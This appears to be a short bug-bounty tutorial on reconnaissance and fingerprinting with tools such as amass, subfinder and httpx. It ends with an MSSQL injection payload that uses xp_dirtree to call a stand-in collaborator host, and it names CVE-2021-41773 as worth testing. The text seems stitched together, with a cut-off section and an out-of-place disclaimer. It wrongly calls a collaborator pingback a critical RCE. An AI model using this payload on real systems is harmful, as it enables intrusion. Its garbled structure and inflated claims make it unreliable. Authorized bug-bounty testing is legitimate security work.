Exclusive hunters know that 80% of success is determined before they write a single line of HTTP request. Reconnaissance is not passive; it is active discovery.
1. Scope is Your Constitution
Before touching a single packet, read the program’s policy on HackerOne, Bugcrowd, or a private invite. Is Google in scope? Yes. Is *.google.com the same as googleplex.com? Absolutely not. Use amass or subfinder to map subdomains, but always filter them against the scope’s wildcard rules. Violating scope is the fastest way to get banned, not rewarded.
2. The Art of Subdomain Enumeration
Most beginners stop at subdomain.brute. Exclusive hunters use permutations.
3. Technology Fingerprinting
Don’t attack blindly. Use httpx to probe for status codes, titles, and technologies. If you see Server: Apache/2.4.49, you know CVE-2021-41773 (Path Traversal) is worth a test. If you see X-Powered-By: PHP/7.4, look for PHP-specific quirks (e.g., ?a[]=1 for type juggling).
Disclaimer: This is not a recycled list of “Google Dorks” or a generic OWASP Top 10 summary. This is an exclusive methodology—the kind usually sold in $500 courses or guarded by top-100 hackers. By the end of this guide, you will know exactly how to find your first valid bug.
For advanced databases (Oracle, MSSQL):
?id=1; exec master..xp_dirtree '\\your-collaborator-server.com\a' --
If your Burp Collaborator pings, that is a critical RCE via SQLi. This is an exclusive $5,000+ finding.
